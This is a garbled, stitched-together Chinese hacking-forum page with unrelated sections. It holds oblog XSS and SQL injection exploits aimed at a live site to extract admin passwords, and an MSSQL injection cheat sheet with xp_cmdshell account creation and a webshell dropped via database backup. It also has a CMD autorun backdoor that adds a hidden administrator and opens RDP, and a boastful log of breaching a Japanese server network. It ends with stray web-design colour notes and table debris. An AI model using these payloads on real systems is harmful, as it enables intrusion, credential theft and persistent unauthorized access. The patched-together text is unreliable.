信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
oblog这套程序大家应该都很熟悉了吧,它凭着它的简洁、安全、稳定成为国内多用户blog的首选。这天无聊,就下了套上个月才出的oblog4.5最新版来看代码,谁知,居然看出了N多XSS点。
首先给大家看一个另类点的跨站点,虽然利用价值不大,但是我觉得跨这个点的思路大家可以学习下。我们来看upload.asp和user_files.asp文件的漏洞代码。
upload.asp:
….省略部分代码….
Set File = Upload.UploadFiles(FormName)
F_FileName = FilePath & File.FileName
file_name = File.FileName
//这里是文件名赋值的过程,后面是上传过程的代码,所以省略。
user_files.asp:
….省略部分代码….
<%
i=0
Do while not rs.eof
imgsrc = rs("file_path")
ext=rs("file_ext")
If InStr("jpg,jpeg,gif,bmp,png,psd",ext) Then
imgsrc0 = imgsrc
Else
imgsrc0 = "images/nopic.gIf"
End if
%>
….省略部分代码….
<a href="<%=imgsrc%>" onclick="chk_iddiv(’<%=cstr(rs("fileid"))%>’)" target="_blank" title="cssbody=[dogvdvbdy] cssheader=[dogvdvhdr] body=[<table cellpadding=’0’><tr><td><img src=’<%=imgsrc0%>’ onload=’javascript:if(this.width>190){this.resized=true;this.style.width=190;}’ /></td></tr></table>] fixedabsx=[5] fixedabsy=[47]"><%=OB_IIF(rs("file_showname"),rs("file_name"))%></a></td>
….省略部分代码….
代码中设定只允许上传后缀名为jpg,jpeg,gif,bmp,png,psd的文件,而且后面的代码似乎与漏洞无任何关系,我们该怎么利用呢?不用急且听我道来,我们来看第三段代码,它看似与漏洞最没有关系,但是请大家仔细看一下,它的作用是接收upload.asp文件上传时的文件名,那么,我们把文件名改为跨站代码+后缀,再上传到服务器,是不是就可以成功执行跨站语句了呢?根据windows的特性,文件名中不能含有“/、\、|、:、<、>、?、*、"”这几个字符,如图1

可能有朋友会想到用rename命令来更改文件名,但是经过测试发现,用rename修改文件名时只要含有以上字符就会修改失败。那么我们该怎样利用这个漏洞呢?看看这些被系统过滤的字符,我们可以发现没有过滤“%”,那么,我们可不可以把文件编码后台再传到服务器上呢?我们来实践下,我们用URL编码器来把“’><script>alert()</script><’”这段代码编码一下,编码后字符串变为“%27%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E%3C%27”,如图2

OK!我们再把一张图片的文件名改为“%27%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E%3C%27.gif”,成功改名!好的,我们把它传上服务器看看,上传成功后,我们打开“图片文件”看看,如图3

呵呵,跨站成功!这个跨站点利用不大,因为只有自己才能看原来的文件名,在这里我只是想给大家看一种新的跨站思路而已。
我们再看下一个跨站点,这个跨站点存在于user_photo.asp、user_subject.asp、index.asp这三个文件中,我们来看它们的漏洞代码:
user_subject.asp:
….省略部分代码….
Sub addclass()
Dim subjectname, rs, ordernum,ishide
subjectname = Trim(request.Form("subjectname"))
….省略部分代码….
If subjectname = "" or oblog.strLength(subjectname) > 50 Then oblog.adderrstr ("分类名不能为空且不能大于50字符)!")
….省略部分代码….
rs.open "select top 1 * from [oblog_subject] Where SubjectType=" & t, conn, 1, 3
rs.addnew
rs("subjectname") = subjectname
rs("userid") = oblog.l_uid
rs("ordernum") = ordernum
rs("subjectType") = t
If ishide = "on" Then RS("ishide") = 1 Else rs("ishide") = 0
rs.Update
….省略部分代码….
user_photo.asp:
….省略部分代码….
我的分类:
<%=subjectname%>
….省略部分代码….
index.asp文件的作用是当有新的数据插入库的时候就生成index.html文件,所以,跨站的代码就插入到了index.html文件中了。
我们来测试下,注册了用户后,我们进入“用户管理后台”,然后再“相册”选项中选择“相册分类”,点击“相册分类”上的“添加分类”,在分类名称中输入“"><script>alert(56)</script><"”,然后点击“添加”按钮,如图4。

好了,分类就添加完了,现在我们来看看跨站的效果,打开“相册管理”,怎么样,跨站的代码执行了吧,如图5。

我们去首页看看吧,怎么样,跨站代码在首页页成功执行了,如图6。

呵呵,兴趣上来了吧?我们再看第三个跨站点,这个跨站点存在于user_team.asp和manager/m_team.asp文件中。在oblog4.0的时候我在官方测试成功了,后来官方在3月7号发布了补丁,本以为漏洞在4.5不会存在了,谁知竟然是更严重!我们来看它们漏洞代码:
user_team.asp:
….省略部分代码….
ico = Trim(Request.Form("ico"))
….省略部分代码….
rs.AddNew
rs("t_name")=name
rs("t_ico")=ico
rs("joinlimit")=t1
rs("joinscores")=t2
….省略部分代码….
rs.Update
rs.Close
rs.Open "select Max(teamid) From oblog_team Where createrid=" & oblog.l_uid
tid=rs(0)
rs.Close
….省略部分代码….
manager/m_team.asp:
….省略部分代码….
<%=rs("t_ico")%> //t_ico变量即刚才的变量ico
….省略部分代码….
看到了吧!变量ico没做任何过滤就丢进数据库更新去了,现在我们来测试下。打开“圈子”选项,选择里面的“创建新圈子”,在弹出的表单中的“外部调用”框里输入跨站代码“"><script>alert(1)</script><"”,然后点击“确认提交”。好了,我们进入内容管理后台的“圈子管理”看看,怎么样,跨站代码执行了吧,如图7

我们再去首页看看,代码也成功执行了,如图8。

总结:很多人都觉得跨站是一些没用的小漏洞而已,其实,跨站的危害是非常大的,只是看你是否懂得利用罢了,建议大家多去一些讨论脚本安全的论坛学习下,hackyou和milw0rm这两个网站是个不错的选择!
漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”
”
Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “
”
rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “
”
Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write(‘
*
‘);
gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1
比方说在查询id是50的数据时,如果用户传近来的参数是50 and 1=1,如果没有设置过滤的话,可以直接查出来,SQL 注入一般在ASP程序中遇到最多,
看看下面的
1.判断是否有注入
;and 1=1
;and 1=2
2.初步判断是否是mssql
;and user>0
3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入参数是字符
'and [查询条件] and ''='
5.搜索时没过滤参数的
'and [查询条件] and '%25'='
6.猜数据库
;and (select Count(*) from [数据库名])>0
7.猜字段
;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));–
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));–
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));–
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));–
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));–
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));–
;and 1=(select IS_MEMBER('db_owner'));–
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';–
;exec master.dbo.xp_cmdshell 'net user username password /add';–
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';–
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';– 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';– 查看文件的内容
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
请求的时候,像这样子用:
http://ip/l.asp?c=dir
SQL注入天书 – ASP注入漏洞全接触(小竹)
http://fox.163n.com/xyhack/hhh/list.asp?id=222
MSSQL 跨库查询(臭要饭的!黑夜)
http://fox.163n.com/xyhack/hhh/list.asp?id=66
榨干MS SQL最后一滴血
http://fox.163n.com/xyhack/hhh/list.asp?id=309
SQL语句参考及记录集对象详解
http://fox.163n.com/xyhack/hhh/list.asp?id=124
关于SQL Server中存储过程
http://fox.163n.com/xyhack/hhh/list.asp?id=314
利用 mssql backup 创建webshell
http://fox.163n.com/xyhack/hhh/list.asp?id=219
SQL_Injection高级应用
http://fox.163n.com/xyhack/hhh/list.asp?id=221
跨站式SQL注入(老凯(laokai))
http://fox.163n.com/xyhack/hhh/list.asp?id=383
怪异的SQL注入(AMANL)
http://fox.163n.com/xyhack/hhh/list.asp?id=320
SQL Server应用程序中的高级SQL注入(翻译:青野志狼)
http://fox.163n.com/xyhack/hhh/list.asp?id=338
如何利用Sql 注入遍历目录(sinka QQ:20355)
http://fox.163n.com/xyhack/hhh/list.asp?id=316
SQL Injection技巧的演练(翻译人: demonalex)
http://fox.163n.com/xyhack/hhh/list.asp?id=301
SQL数据库的一些攻击
http://fox.163n.com/xyhack/hhh/list.asp?id=152
SQL Injection攻击技术(JSW)
http://fox.163n.com/xyhack/hhh/list.asp?id=208
SQL_Injection高级应用(apachy)
target="_blank" rel="external">http://fox.163n.com/xyhack/hhh/list.asp?id=221
SQL注入的不常见方法(桂林老兵)
http://fox.163n.com/xyhack/hhh/list.asp?id=231
Backup a shell
http://fox.163n.com/xyhack/hhh/list.asp?id=274
谈php+mysql注射语句构造(黑嘿黑·≯Super·Hei)
http://fox.163n.com/xyhack/hhh/list.asp?id=386
Advanced SQL Injection with MySQL(angel)
http://fox.163n.com/xyhack/hhh/list.asp?id=405
L'injection (My)SQL via PHP
http://fox.163n.com/xyhack/hhh/list.asp?id=420
oracle SQL语言
http://fox.163n.com/xyhack/hhh/list.asp?id=206
SQL手工注入大全
前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
%HOMEDRIVE% = C:\ 当前启动的系统的所在分区
%SystemRoot% = C:\WINDOWS 当前启动的系统的所在目录
%windir% = %SystemRoot% = C:\WINDOWS 当前启动的系统的所在目录
%USERPROFILE% = C:\Documents and Settings\sihochina 当前用户数据变量
%HOMEPATH% = C:\Documents and Settings\sihochina 当前用户环境变量
%temp% = %USERPROFILE%\Local Settings\Temp = C:\Documents and Settings\sihochina\Local Settings\Temp 当前用户TEMP缓存变量
%os% = 系统版本
%comspec% = CMD路径
%path% = Path变量
作者:冰的原点
说明:文章已发表于黑客手册07年11期,转载请注明出处!
CMD?大家熟悉吧?我们可以在这里面查看进程,查看端口号,可以干许多的事!可是你有没有想过,当我们打开CMD的瞬间,我们就有可能中了木马或者病毒了!这可不是说的玩的,现在就让我们一起看看就是怎么一回事?
话说回来,这还是我有一回在网上转的时候,看到别人可以用这个方法来装扮你的CMD窗口。当时我就想,既然你可以装扮你的窗口,为什么不能干别的呢?我们开始吧!装扮CMD的方法很简单,就是写一个批处理,内容如下:
@ECHO OFF
cls
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++"
echo "+ 冰的原点 "
echo "+ "
echo "+ 我的博客:http://hi.baidu.com/冰的原点 "
echo "+ "
echo "+ "
echo "+ 欢迎大家访问 "
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++"
title 冰的原点
color E
保存为11.bat,随便放在哪个盘里,这里我放在C盘,然后找到注册表,到这个目录下:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor],在右边出现了一个字符串值:autorun.然后右键修改,在弹出的对话框中填入11.bat的绝对路径。如图1

.然后点击确定。现在我们再到运行里输入CMD试试,会出现这样的画面。如图2.

到这里为止我们美化我们的CMD窗口就完工了,当然这里面的代码大家可以随便改。
说到这里,大家可能已经想到了这篇文章要讲的是什么了。不过,我在做测试的时候,还是遇到些麻烦.我们把原来代码改成这样:start http://www.baidu.com
然后保存。看看会出现什么效果,如图3.

百度是打开了,可CMD窗口下,不是明显的摆着我们的命令么?这个怎么能行,一下子就被看穿了!我们得想想办法把这些命令隐藏起来。对,我们用ECHO OFF 试试!再来看下效果,如图4.
很明显的哦。大家都看到了,我们的11.bat不是很明显的暴露在C盘么?这个很好办,我们把它放得隐藏点就得了,每个盘都有一个Recycled目录,只要我们把它传到这里面来,就会显得隐藏一点。好了,原理就讲到这里了,我们来分析下,这个东东到底可以干什么?
想法一:
提权。曾经我想过用这个方法来用做提权,先在webshell里执行:
ECHO Windows Registry Editor Version 5.00>door.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]>>door.reg
ECHO "autorun"="c:\\Recycled\\13.bat">>door.reg
REGEDIT /S door.reg
DEL /F /Q door.reg
然后把13.bat传到c:\Recycled下,然后等着管理员上钩。我在本机上自己用NETBOX搭建个WEB环境,测试的时候确实是成功了。可是我后来转念一想,要是能够执行CMD命令了,还用着到这样么?确实用来提权效果就不明显了。
想法二:
保护我们的肉鸡。这个想法实施起来也可行!我们把他们的注册表做下手脚,然后传个13.bat上去,13.bat内容如下:
@echo off
net user admin$ angel /add & net localgroup administrators admin$ /add
wrsky.exe -o 3389
attrib +h +s +a +r 13.bat
attrib +h +s +a +r wrsky.exe
这里的wrsky.exe是指开3389的工具,不需要重启的哦。把它和13.bat 放在同一个目录下.这样的效果很明显,只要一动CMD,就会自动添加admin$的管理员帐户,而且会神不知鬼不觉得把3389给开了!我在本机做的测试,大家看图5,6.


图5显示这两个文件同时被加上系统属性,而通过图6我们可以看到3389终端已经打开了,是不是很过瘾呀?这,不失为又一种保护肉鸡的办法哦。
想法三:
这次我想到了病毒。因为好多人都喜欢在CMD下杀毒,我想如果病毒对HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor下的autorun项值进行监视,防止我们修改注册表,然后再加载些病毒或者木马之类的东东的话,这样我们打开CMD时就有可能中更多的毒,伤的更深!
这篇文章的方法很有局限性,写这篇文章的作用就是想抛砖引玉,给大家提供个思路而已,我想肯定还有更多的方法把这个方法装扮的更加隐藏,更有危害性。如有不足之处,还请大家指教,欢迎大家到论坛和我交流,我的ID是冰的原点.
因为这一局,渗透获取整个服务器群的权限,N台服务器。所以写篇文章小小虚荣下。^0^
开局:
入手点是一个注射点:sa,内网, 轻车熟路写个vbs脚本,下好lcx,转发端口。
| 以下是引用片段: down.vbs iLocal = LCase(WScript.Arguments(1))use: cscript down.vbs http://ip/lcx.exe lcx.exe (路径默认在system32下) |
这个下载脚本可以重复使用,也不会暴露我存放工具的地址。(有些下载脚本把下载地址写在里面,个人觉得不很好。)
由于本机连接日本网络比较慢。连拨两个VPN,再登上日本本土的一台肉鸡(我想这样速度不会差了,ps:肉鸡的作用体现出来了)。
加了用户。在肉鸡终端:lcx -listen 520 1982,目标机:lcx -slave myip 520 127.0.0.1 3389
ok,终端里填:127.0.0.1:1982 顺利登陆。
中盘:
win2000系统,mssql server
先抓个系统密码,找下sql密码。查看了下一些信息,并检查是否还有同行的后门,清除之。
分析了下密码:(数字+机器名+数字)
其他都是鸟语也看不太明白。载了几个基本工具放个隐藏目录。
ps:一般进去后总得收拾下,最好不要种马。死得快,也易暴露。
这时候就盘算着怎么拿web的权限了。(分析网络拓扑结构了)
先看下网上邻居:
workgroup
C**SQL2006
B**-DB
B***TENDB
….
很明显,都是数据库服务器。
再往上一层,又发现一个工作组:
web-k.**.jp
c***oo_db
…
日,还是数据库服务器。
ipconfig /all
192.168.10.18 只有一个内网ip
ok:s tcp 192.168.10.1 192.168.10.254 80 20 /save
用s扫下内网开80的机子,线程设置为20,讲究精确度嘛。
很遗憾,结果出来的几个机子都是数据库服务器,上面并没有网站。
我就纳闷了,web服务器跑哪了呢?
收官:
翻了一阵子,仔细分析了网络拓扑结构。最后让我找到了:
192.168.1.1-255这段是web服务器群
接下来,用s果然扫出一片。再对应外网ip,挑选溢出的下手对象(192.168.1.19)(倭奴喜欢古董级的win2000,好多补丁都不全,好溢出)
很舒坦地日下来,然后载个webshell放到web目录的偏僻角落。擦擦屁股走人。


紫色通常用于以女性为对象或以艺术作品介绍为主的站点,但很多大公司的站点中也喜欢使用包含神秘色彩的紫色。
较暗色调的紫色可以表现出成熟的感觉,但女性站点中使用的通常都是清澈(Pale)的紫色。
Color Point:
在艺术家们的眼里,紫色通常都代表着神秘和尊贵高尚。正因为紫色的这种特点,从古至今紫色在很多领域发挥着不可或缺的作用。
据说因为在古代提取紫色染料耗费的成本非常高,所以价格昂贵的紫色布料只有那些王公贵族们才享受得起。
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|